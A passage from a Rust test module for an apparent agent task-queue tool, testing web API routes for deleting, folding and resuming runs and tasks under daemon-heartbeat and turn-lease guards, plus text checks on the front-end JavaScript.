22029        assert_eq!(view["status_str"], "held");
22030        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22031        assert!(
22032            view["recovery"]
22033                .as_str()
22034                .unwrap()
22035                .contains("Disk recovery alone will not resume")
22036        );
22037        assert!(
22038            view["recovery"]
22039                .as_str()
22040                .unwrap()
22041                .contains("If no recovery decision is pending")
22042        );
22043        for blocker in view["blockers"].as_array().unwrap() {
22044            assert!(blocker["destination"].is_null());
22045            assert!(
22046                blocker["next"]
22047                    .as_str()
22048                    .unwrap()
22049                    .contains("pending delivery")
22050            );
22051        }
22052        for q in &mut records {
22053            q.routed_chat = Some("owning-chat".into());
22054            questions.put(q).unwrap();
22055        }
22056        let view = fx.get(&url).await.json();
22057        for blocker in view["blockers"].as_array().unwrap() {
22058            assert_eq!(
22059                blocker["destination"],
22060                serde_json::json!(["chat", "owning-chat"])
22061            );
22062            assert_eq!(blocker["resolves_itself"], false);
22063        }
22064        // Answered routed decisions can still be awaiting task-chat application.
22065        for q in &mut records {
22066            q.status = ask::QuestionStatus::Answered;
22067            questions.put(q).unwrap();
22068        }
22069        assert!(crate::triage::pending_for(&questions, &task));
22070        let view = fx.get(&url).await.json();
22071        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22072        assert!(
22073            view["blockers"][0]["next"]
22074                .as_str()
22075                .unwrap()
22076                .contains("not yet applied")
22077        );
22078        for q in &records {
22079            task.mark_triage_applied(&q.id);
22080        }
22081        queue.put(&mut task).unwrap();
22082        assert!(!crate::triage::pending_for(&questions, &task));
22083        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22084        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22085    }
22086
22087    #[test]
22088    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22089        use crate::queue::HoldSource;
22090        let mut task = Task::new(
22091            "Recovery".into(),
22092            "Inspect".into(),
22093            PathBuf::from("/repo"),
22094            Source::Human,
22095        );
22096        assert!(task_recovery(&task).is_none());
22097        task.hold_manual(Some("Operator paused".into()));
22098        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22099        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22100        let text = task_recovery(&task).unwrap();
22101        assert!(text.contains("restores held"));
22102        assert!(text.contains("clears its dependency references"));
22103        task.hold_source = Some(HoldSource::Machine);
22104        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22105        let view = TaskView::with_inventory(
22106            task.clone(),
22107            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22108        );
22109        let json = serde_json::to_value(view).unwrap();
22110        assert_eq!(json["block_reason"], "Decision needed");
22111        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22112        let recovery = json["recovery"].as_str().unwrap();
22113        assert!(recovery.contains("not current capacity"));
22114        assert!(recovery.contains("triage rechecks"));
22115        assert_eq!(json["blockers"][0]["state"], "missing");
22116        task.blocked_from = Some(TaskStatus::Queued);
22117        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22118        task.blocked_from = None;
22119        assert!(task_recovery(&task).unwrap().contains("restores held"));
22120    }
22121
22122    #[tokio::test]
22123    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22124        let fx = Fixture::start().await;
22125        let q = fx.queue();
22126        let mk = |title: &str| {
22127            Task::new(
22128                title.to_owned(),
22129                "Instruction".to_owned(),
22130                PathBuf::from("/repo"),
22131                Source::Human,
22132            )
22133        };
22134        let mut root = mk("root");
22135        root.hold_manual(Some("waiting".to_owned()));
22136        q.put(&mut root).unwrap();
22137        let mut mid = mk("mid");
22138        mid.block(vec![root.id.clone()], None);
22139        q.put(&mut mid).unwrap();
22140        let mut leaf = mk("leaf");
22141        leaf.block(vec![mid.id.clone()], None);
22142        q.put(&mut leaf).unwrap();
22143
22144        let list = fx.get("/api/queue").await.json();
22145        let find = |id: &str| {
22146            list.as_array()
22147                .unwrap()
22148                .iter()
22149                .find(|v| v["id"] == id)
22150                .unwrap()
22151                .clone()
22152        };
22153        let leaf_view = find(&leaf.id);
22154        assert_eq!(
22155            leaf_view["waits_on"],
22156            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22157        );
22158        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22159        assert_eq!(
22160            find(&mid.id)["waits_on"],
22161            serde_json::json!([format!("{} (held)", root.short())])
22162        );
22163        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22164    }
22165
22166    #[tokio::test]
22167    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22168        let fx = Fixture::start().await;
22169        let q = fx.queue();
22170
22171        // 1. A queued task with runs attached can be deleted.
22172        let mut t1 = Task::new(
22173            "Task 1".to_owned(),
22174            "Instruction 1".to_owned(),
22175            PathBuf::from("/repo"),
22176            Source::Human,
22177        );
22178        let run_id = "20260901-000000-r111";
22179        t1.runs.push(run_id.to_owned());
22180        write_run(&fx.runs(), run_id, RunStatus::Merged);
22181        q.put(&mut t1).expect("put t1");
22182
22183        // Delete by short id
22184        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22185        assert_eq!(res.status, 204);
22186        assert!(res.body.is_empty(), "204 No Content has no body");
22187        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22188        assert!(
22189            fx.runs().join(run_id).exists(),
22190            "run directory must not be deleted when its task is deleted"
22191        );
22192
22193        // 2. A task a live daemon is running is refused with 409.
22194        let mut t2 = Task::new(
22195            "Task 2".to_owned(),
22196            "Instruction 2".to_owned(),
22197            PathBuf::from("/repo"),
22198            Source::Human,
22199        );
22200        t2.status = TaskStatus::Running;
22201        q.put(&mut t2).expect("put t2");
22202        let mut beat = crate::daemon::Status::new();
22203        beat.current = vec![crate::daemon::Current {
22204            worker: None,
22205            task: t2.id.clone(),
22206            run: "20260901-000000-r222".to_owned(),
22207        }];
22208        beat.updated_at = jiff::Timestamp::now();
22209        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22210            .expect("publish a heartbeat");
22211        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22212        assert_eq!(res.status, 409);
22213        assert!(
22214            res.json()["error"]
22215                .as_str()
22216                .unwrap()
22217                .contains("live daemon")
22218        );
22219        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22220
22221        // 3. The same `running` status and an orphaned lock, with no daemon
22222        // behind either, is a leftover and deletable. Before this the phone
22223        // refused it for good: the status never changes on its own and
22224        // nothing drops a lock whose process is gone.
22225        // The daemon is killed: the file stays, the heartbeat stops.
22226        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22227        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22228            .expect("leave a stale heartbeat");
22229        let mut t3 = Task::new(
22230            "Task 3".to_owned(),
22231            "Instruction 3".to_owned(),
22232            PathBuf::from("/repo"),
22233            Source::Human,
22234        );
22235        t3.status = TaskStatus::Running;
22236        q.put(&mut t3).expect("put t3");
22237        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22238        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22239        assert_eq!(res.status, 204);
22240        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22241        assert!(
22242            q.claim(&t3.id).is_ok(),
22243            "the stale lock went with it, so the id is claimable again"
22244        );
22245
22246        // 4. Missing id returns 404
22247        let res = fx.delete("/api/queue/nonexistent").await;
22248        assert_eq!(res.status, 404);
22249    }
22250
22251    #[tokio::test]
22252    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22253        let fx = Fixture::start().await;
22254        let runs = fx.runs();
22255
22256        // 1. Finished and folded run can be deleted along with artifacts
22257        let run_id = "20260901-000000-fold";
22258        let mut state = RunState::new(
22259            PathBuf::from("/repo"),
22260            "main".to_owned(),
22261            "abc".to_owned(),
22262            "instruction".to_owned(),
22263            Config::default(),
22264        );
22265        state.id = run_id.to_owned();
22266        state.status = RunStatus::Merged;
22267        state.candidates.push(crate::run::Candidate {
22268            index: 0,
22269            label: 'A',
22270            agent: "a".to_owned(),
22271            branch: "b".to_owned(),
22272            worktree: PathBuf::from("/w"),
22273            summary: String::new(),
22274            stat: String::new(),
22275            files: 1,
22276            commits: 1,
22277            empty: false,
22278            failed: None,
22279            verified_noop: None,
22280            duration_ms: 0,
22281            folded: true,
22282        });
22283        let dir = runs.join(run_id);
22284        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22285        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22286            .expect("write artifact");
22287        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22288            .expect("write run.json");
22289
22290        // Delete by short id
22291        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22292        assert_eq!(res.status, 204);
22293        assert!(res.body.is_empty(), "204 has no body");
22294        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22295
22296        // 2. A run a live daemon is working on is refused with 409. The
22297        // heartbeat is what makes it refusable: an unfinished run with no
22298        // daemon behind it is a leftover from a killed process, and case 1
22299        // above would otherwise be impossible to tell apart from this one.
22300        let run_running = "20260901-000000-rung";
22301        write_run(&runs, run_running, RunStatus::Prep);
22302        let mut beat = crate::daemon::Status::new();
22303        beat.current = vec![crate::daemon::Current {
22304            worker: None,
22305            task: "20260901-000000-task".to_owned(),
22306            run: run_running.to_owned(),
22307        }];
22308        beat.updated_at = jiff::Timestamp::now();
22309        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22310            .expect("publish a heartbeat");
22311        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22312        assert_eq!(res.status, 409);
22313        assert!(
22314            res.json()["error"]
22315                .as_str()
22316                .unwrap()
22317                .contains("live daemon"),
22318            "the refusal must say who is holding it"
22319        );
22320        assert!(
22321            runs.join(run_running).exists(),
22322            "a run in flight keeps its directory"
22323        );
22324
22325        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22326        let run_unfolded = "20260901-000000-unfd";
22327        let mut state2 = RunState::new(
22328            PathBuf::from("/repo"),
22329            "main".to_owned(),
22330            "abc".to_owned(),
22331            "instruction".to_owned(),
22332            Config::default(),
22333        );
22334        state2.id = run_unfolded.to_owned();
22335        state2.status = RunStatus::Ready;
22336        state2.candidates.push(crate::run::Candidate {
22337            index: 0,
22338            label: 'A',
22339            agent: "a".to_owned(),
22340            branch: "b".to_owned(),
22341            worktree: PathBuf::from("/w"),
22342            summary: String::new(),
22343            stat: String::new(),
22344            files: 1,
22345            commits: 1,
22346            empty: false,
22347            failed: None,
22348            verified_noop: None,
22349            duration_ms: 0,
22350            folded: false,
22351        });
22352        let dir2 = runs.join(run_unfolded);
22353        std::fs::create_dir_all(&dir2).expect("create dir2");
22354        std::fs::write(
22355            dir2.join("run.json"),
22356            serde_json::to_string(&state2).unwrap(),
22357        )
22358        .expect("write run.json");
22359
22360        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22361        assert_eq!(res.status, 409);
22362        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22363        assert!(dir2.exists(), "unfolded run directory is kept");
22364
22365        // 4. Missing id returns 404
22366        let res = fx.delete("/api/runs/nonexistent").await;
22367        assert_eq!(res.status, 404);
22368    }
22369
22370    /// The queue tiles on the Stats tab must render even on a home with no
22371    /// runs at all: queue state is not derived from run history, so hiding
22372    /// the whole dashboard body behind "no runs yet" would drop the one
22373    /// thing this tab promises unconditionally (queued/running/held/done).
22374    /// A DOM-level test would need a browser this suite does not have, so
22375    /// this pins the same invariant textually: `renderStatsQueue` is called
22376    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22377    /// block that gates the run-derived panels.
22378    #[test]
22379    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22380        let start = APP_JS
22381            .find("function renderStats() {")
22382            .expect("renderStats");
22383        let end = start
22384            + APP_JS[start..]
22385                .find("function statsTile(")
22386                .expect("the next top-level function");
22387        let body = &APP_JS[start..end];
22388
22389        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22390        let gate_end = gate_start
22391            + body[gate_start..]
22392                .find("}\n  renderStatsQueue")
22393                .expect("the gate's own closing brace, right before the unconditional call");
22394        let gated = &body[gate_start..gate_end];
22395
22396        assert_eq!(
22397            body.matches("renderStatsQueue(").count(),
22398            1,
22399            "renderStats must call renderStatsQueue exactly once: {body}"
22400        );
22401        assert!(
22402            !gated.contains("renderStatsQueue"),
22403            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22404             run-derived panels on an empty run history - the queue panel has to render \
22405             regardless: {gated}"
22406        );
22407    }
22408
22409    #[test]
22410    fn web_ui_delete_contract_in_front_end() {
22411        // 1. API block has both delete endpoints
22412        assert!(APP_JS.contains("deleteRun:"));
22413        assert!(APP_JS.contains("deleteTask:"));
22414
22415        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22416        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22417            ..APP_JS.find("function renderRuns").unwrap()];
22418        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22419
22420        // 3. Run detail has delete entry and reasons
22421        assert!(APP_JS.contains("renderRunDelete"));
22422        assert!(APP_JS.contains("runDeleteReason"));
22423        assert!(APP_JS.contains("magi fold"));
22424        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22425
22426        // 4. Two-step delete arming and focus on Cancel
22427        assert!(APP_JS.contains("cancel.focus"));
22428        assert!(APP_JS.contains("armedRunDelete"));
22429        assert!(APP_JS.contains("renderTaskDeleteBox"));
22430        assert!(APP_JS.contains("armed${cap(key)}"));
22431
22432        // 5. Running task has disabled delete
22433        assert!(APP_JS.contains("disabled: status === \"running\""));
22434    }
22435
22436    /// Every element a run card's updater reaches for must be in the `refs`
22437    /// the builder handed it.
22438    ///
22439    /// `createRunCard` builds its elements, appends them to the card, and then
22440    /// lists them again in `row.refs`. That second list is the one the updater
22441    /// uses, and nothing connects the two - an element can be built, appended
22442    /// and rendered, and still be missing from `refs`. `superseded` was, for
22443    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22444    /// exception took `syncList` with it, and the deck showed
22445    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22446    /// line is computed before the cards, which is why the failure looked like
22447    /// a server that had lost its runs rather than a front end that had
22448    /// stopped rendering them.
22449    ///
22450    /// A `cargo test` cannot execute the front end, so this reads the two
22451    /// halves out of the source and compares them as sets. It is not a check
22452    /// on the wording of either list: adding an element, renaming one, or
22453    /// reordering them all keeps this passing, and only using one the builder
22454    /// never published fails it.
22455    #[test]
22456    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22457        let build = APP_JS
22458            .find("function createRunCard")
22459            .expect("createRunCard exists");
22460        let update = APP_JS
22461            .find("function updateRunCard")
22462            .expect("updateRunCard exists");
22463        let end = APP_JS
22464            .find("function renderRuns")
22465            .expect("renderRuns exists");
22466
22467        // The builder's published set: the object literal assigned to `refs`.
22468        let builder = &APP_JS[build..update];
22469        let open = builder.find("refs = {").expect("createRunCard sets refs");
22470        let literal = &builder[open + "refs = {".len()..];
22471        let close = literal.find('}').expect("the refs literal is closed");
22472        let published: HashSet<&str> = literal[..close]
22473            .split(',')
22474            // `name` and `name: value` both bind `name`.
22475            .filter_map(|entry| entry.split(':').next())
22476            .map(str::trim)
22477            .filter(|name| !name.is_empty())
22478            .collect();
22479        assert!(
22480            published.len() > 5,
22481            "the refs literal did not parse into names: {published:?}"
22482        );
22483
22484        // What the updaters reach for: every `r.<name>`, where `r` is the
22485        // `const r = row.refs` alias both functions open with.
22486        let mut used: Vec<&str> = Vec::new();
22487        let updaters = &APP_JS[update..end];
22488        for (at, _) in updaters.match_indices("r.") {
22489            // `r` must be the whole identifier, not the tail of another one
22490            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22491            let before = updaters[..at].chars().next_back();
22492            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22493                continue;
22494            }
22495            let rest = &updaters[at + 2..];
22496            let len = rest
22497                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22498                .unwrap_or(rest.len());
22499            if len > 0 {
22500                used.push(&rest[..len]);
22501            }
22502        }
22503        assert!(
22504            used.len() > 5,
22505            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22506        );
22507
22508        let missing: Vec<&str> = used
22509            .iter()
22510            .copied()
22511            .filter(|name| !published.contains(name))
22512            .collect();
22513        assert!(
22514            missing.is_empty(),
22515            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22516             never put in `refs` - every card will throw and the list will \
22517             render empty under a count line that says otherwise. Published: \
22518             {published:?}"
22519        );
22520    }
22521
22522    #[tokio::test]
22523    async fn folding_from_the_phone_reports_what_it_removed() {
22524        let fx = Fixture::start().await;
22525        let runs = fx.runs();
22526
22527        // A run with no candidates has nothing to fold, which is a 200 with an
22528        // honest count rather than an error: the operator asked for the trees
22529        // to be gone and they are.
22530        let id = "20260901-000000-fold";
22531        write_run(&runs, id, RunStatus::Stalled);
22532        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22533        assert_eq!(res.status, 200);
22534        assert_eq!(res.json()["removed_count"], 0);
22535        assert_eq!(res.json()["run"], id);
22536        assert!(
22537            runs.join(id).exists(),
22538            "a fold keeps the run's record; only the worktrees go"
22539        );
22540    }
22541
22542    #[tokio::test]
22543    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22544        let fx = Fixture::start().await;
22545        let runs = fx.runs();
22546        let wt = fx.home.path().join("wt").join("magi").join("dead");
22547        let id = "20260901-000000-dead";
22548        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22549        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22550        std::fs::create_dir_all(&wt).expect("worktree dir");
22551
22552        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22553        assert_eq!(res.status, 200, "{}", res.body);
22554        assert!(
22555            res.json()["removed_count"].as_u64().unwrap() > 0,
22556            "the worktree this build could not read a state for still went"
22557        );
22558        assert!(
22559            !runs.join(id).exists(),
22560            "an unreadable run has no candidate list to fold selectively, so \
22561             the whole record goes - same as `magi fold` on the CLI"
22562        );
22563    }
22564
22565    #[tokio::test]
22566    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22567        let fx = Fixture::start().await;
22568        let runs = fx.runs();
22569        let wt = fx.home.path().join("wt").join("magi").join("gone");
22570        let id = "20260901-000000-gone";
22571        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22572        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22573        std::fs::create_dir_all(&wt).expect("worktree dir");
22574
22575        let res = fx.delete(&format!("/api/runs/{id}")).await;
22576        assert_eq!(res.status, 204, "{}", res.body);
22577        assert!(!runs.join(id).exists(), "the broken record is gone");
22578        assert!(!wt.exists(), "its worktree is gone too");
22579    }
22580
22581    #[tokio::test]
22582    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22583        let fx = Fixture::start().await;
22584        let runs = fx.runs();
22585        let id = "20260901-000000-live";
22586        write_run(&runs, id, RunStatus::Implementing);
22587
22588        let mut beat = crate::daemon::Status::new();
22589        beat.current = vec![crate::daemon::Current {
22590            worker: None,
22591            task: "20260901-000000-task".to_owned(),
22592            run: id.to_owned(),
22593        }];
22594        beat.updated_at = jiff::Timestamp::now();
22595        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22596            .expect("publish a heartbeat");
22597
22598        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22599        assert_eq!(res.status, 409);
22600        assert!(
22601            res.json()["error"]
22602                .as_str()
22603                .unwrap()
22604                .contains("live daemon"),
22605            "folding under a running agent would pull its worktree away"
22606        );
22607    }
22608
22609    #[tokio::test]
22610    async fn fold_merged_requires_a_pr_url() {
22611        let fx = Fixture::start().await;
22612        let runs = fx.runs();
22613        let id = "20260901-000000-nourl";
22614        write_run(&runs, id, RunStatus::Blocked);
22615
22616        let res = fx
22617            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22618            .await;
22619        assert_eq!(res.status, 400, "{}", res.body);
22620
22621        let blank = fx
22622            .post(
22623                &format!("/api/runs/{id}/fold-merged"),
22624                Some(r#"{"pr_url":"   "}"#),
22625            )
22626            .await;
22627        assert_eq!(blank.status, 400, "{}", blank.body);
22628    }
22629
22630    #[tokio::test]
22631    async fn fold_merged_is_404_for_an_unknown_run() {
22632        let fx = Fixture::start().await;
22633        let res = fx
22634            .post(
22635                "/api/runs/nosuchrun/fold-merged",
22636                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22637            )
22638            .await;
22639        assert_eq!(res.status, 404, "{}", res.body);
22640    }
22641
22642    #[tokio::test]
22643    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22644        let fx = Fixture::start().await;
22645        let runs = fx.runs();
22646        let id = "20260901-000000-livemerge";
22647        write_run(&runs, id, RunStatus::Blocked);
22648
22649        let mut beat = crate::daemon::Status::new();
22650        beat.current = vec![crate::daemon::Current {
22651            worker: None,
22652            task: "20260901-000000-task".to_owned(),
22653            run: id.to_owned(),
22654        }];
22655        beat.updated_at = jiff::Timestamp::now();
22656        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22657            .expect("publish a heartbeat");
22658
22659        let res = fx
22660            .post(
22661                &format!("/api/runs/{id}/fold-merged"),
22662                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22663            )
22664            .await;
22665        assert_eq!(res.status, 409, "{}", res.body);
22666        assert!(
22667            res.json()["error"]
22668                .as_str()
22669                .unwrap()
22670                .contains("live daemon"),
22671            "correcting a run's merge underneath a running agent would race \
22672             whatever it is doing to the same `status`/`merge` fields"
22673        );
22674    }
22675
22676    /// A pull request `gh` cannot even ask about (no such remote, no such
22677    /// repository) must never be recorded as a merge on a guess - the same
22678    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22679    /// command line, reached here through the phone route instead.
22680    #[tokio::test]
22681    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22682        let fx = Fixture::start().await;
22683        let runs = fx.runs();
22684        let id = "20260901-000000-unconfirmed";
22685        write_run(&runs, id, RunStatus::Blocked);
22686
22687        let res = fx
22688            .post(
22689                &format!("/api/runs/{id}/fold-merged"),
22690                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22691            )
22692            .await;
22693        assert_eq!(res.status, 400, "{}", res.body);
22694        assert_eq!(
22695            read_run(&runs, id).unwrap().status,
22696            RunStatus::Blocked,
22697            "a pull request that could not be confirmed merged must leave \
22698             the run exactly where it was"
22699        );
22700    }
22701
22702    #[tokio::test]
22703    async fn terminal_runs_cannot_be_resumed() {
22704        let fx = Fixture::start().await;
22705        let runs = fx.runs();
22706
22707        for (status, word) in [
22708            (RunStatus::Merged, "merged"),
22709            (RunStatus::Ready, "ready"),
22710            (RunStatus::Failed, "failed"),
22711        ] {
22712            let id = format!("20260901-000000-{}", &word[..4]);
22713            write_run(&runs, &id, status);
22714            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22715            assert_eq!(res.status, 409, "{word} must not be resumable");
22716        }
22717    }
22718
22719    #[tokio::test]
22720    async fn resume_is_refused_while_the_loop_is_running() {
22721        let fx = Fixture::start().await;
22722        let runs = fx.runs();
22723        let stalled = "20260901-000000-stal";
22724        write_run(&runs, stalled, RunStatus::Stalled);
22725
22726        // The loop is busy with a *different* run, and that is still a
22727        // refusal: a manual resume must never race whatever the loop itself
22728        // is already driving, whether that is one run or several.
22729        let mut beat = crate::daemon::Status::new();
22730        beat.current = vec![crate::daemon::Current {
22731            worker: None,
22732            task: "20260901-000000-task".to_owned(),
22733            run: "20260901-000000-othr".to_owned(),
22734        }];
22735        beat.updated_at = jiff::Timestamp::now();
22736        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22737            .expect("publish a heartbeat");
22738
22739        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22740        assert_eq!(res.status, 409);
22741        let err = res.json()["error"].as_str().unwrap().to_owned();
22742        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22743        assert!(err.contains("stop it first"), "{err}");
22744    }
22745
22746    #[test]
22747    fn a_run_cannot_be_resumed_twice_at_once() {
22748        let home = TempDir::new().expect("temp home");
22749        let ui = Ui::new(
22750            Queue::at(home.path().join("queue")),
22751            Questions::at(home.path().join("questions")),
22752            Talks::at(home.path().join("talks")),
22753            home.path().join("runs"),
22754            home.path().to_path_buf(),
22755            PathBuf::from("/repo"),
22756        )
22757        .with_worktrees_root(home.path().join("wt"));
22758        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22759        let again = ui.begin_resume("20260901-000000-once");
22760        assert!(again.is_err(), "a second tap must not start a second graph");
22761        drop(first);
22762        assert!(
22763            ui.begin_resume("20260901-000000-once").is_ok(),
22764            "and the claim is released when the attempt ends"
22765        );
22766    }
22767
22768    #[test]
22769    fn talk_thinking_tracks_only_its_held_turn_claim() {
22770        let home = TempDir::new().expect("temp home");
22771        let ui = Ui::new(
22772            Queue::at(home.path().join("queue")),
22773            Questions::at(home.path().join("questions")),
22774            Talks::at(home.path().join("talks")),
22775            home.path().join("runs"),
22776            home.path().to_path_buf(),
22777            PathBuf::from("/repo"),
22778        )
22779        .with_worktrees_root(home.path().join("wt"));
22780        let id = "20260901-000000-once";
22781
22782        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22783        let turn = ui.begin_talk_turn(id).expect("claim turn");
22784        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22785        assert!(
22786            !ui.is_thinking("20260901-000000-other"),
22787            "one talk's turn does not make another talk busy"
22788        );
22789        drop(turn);
22790        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22791    }
22792
22793    #[test]
22794    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22795        let home = TempDir::new().expect("temp home");
22796        let talks = Talks::at(home.path().join("talks"));
22797        let ui = Ui::new(
22798            Queue::at(home.path().join("queue")),
22799            Questions::at(home.path().join("questions")),
22800            talks.clone(),
22801            home.path().join("runs"),
22802            home.path().to_path_buf(),
22803            PathBuf::from("/repo"),
22804        )
22805        .with_worktrees_root(home.path().join("wt"));
22806        let id = "20260901-000000-cross";
22807
22808        let other = Talks::at(home.path().join("talks"))
22809            .claim_turn(id)
22810            .expect("claim")
22811            .expect("the other process wins");
22812        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22813        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22814        assert!(
22815            matches!(
22816                ui.begin_talk_turn_unless_pending(id).expect("start"),
22817                TalkTurnStart::Foreign
22818            ),
22819            "a foreign holder is refused, not queued behind"
22820        );
22821        assert!(
22822            !ui.talk_turns.lock().unwrap().live.contains(id),
22823            "a refused claim leaves no in-process entry behind"
22824        );
22825        drop(other);
22826        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22827        assert!(talks.turn_held(id), "the web turn holds the lease");
22828        drop(turn);
22829        assert!(
22830            !talks.turn_held(id),
22831            "dropping the guard releases the lease"
22832        );
22833    }
22834
22835    fn consult_question(ui: &Ui) -> Question {
22836        let mut q = Question::new(
22837            "20260901-000000-consult".to_owned(),
22838            "implement".to_owned(),
22839            "impl-A".to_owned(),
22840            "Which backend?".to_owned(),
22841            String::new(),
22842            vec!["SQLite".to_owned(), "Redis".to_owned()],
22843        );
22844        ui.questions.put(&mut q).expect("question");
22845        q
22846    }
22847
22848    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22849        (
22850            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22851            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22852        )
22853    }
22854
22855    #[tokio::test]
22856    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22857        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22858        let q = consult_question(&ui);
22859        let talk = ui.talks.get(&id).expect("talk");
22860        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22861        let before = consult_snapshot(&ui, &q, &id);
22862        let cli_talks = Talks::at(ui.home.join("talks"));
22863        assert_eq!(
22864            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22865                .await
22866                .expect("CLI starter"),
22867            crate::consult::Started::Busy
22868        );
22869        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22870        assert!(ui.is_thinking(&id));
22871        drop(guard);
22872        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22873    }
22874
22875    #[tokio::test]
22876    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22877        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22878        let q = consult_question(&ui);
22879        let talk = ui.talks.get(&id).expect("talk");
22880        let started = tmp.path().join("started");
22881        let release = tmp.path().join("release");
22882        let script = tmp.path().join("consult-agent.sh");
22883        std::fs::write(
22884            &script,
22885            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22886        )
22887        .expect("script");
22888        let mut cfg = stub_config();
22889        cfg.agents[0].id = "mock".to_owned();
22890        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22891        cfg.agents[0].env = std::collections::BTreeMap::from([
22892            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
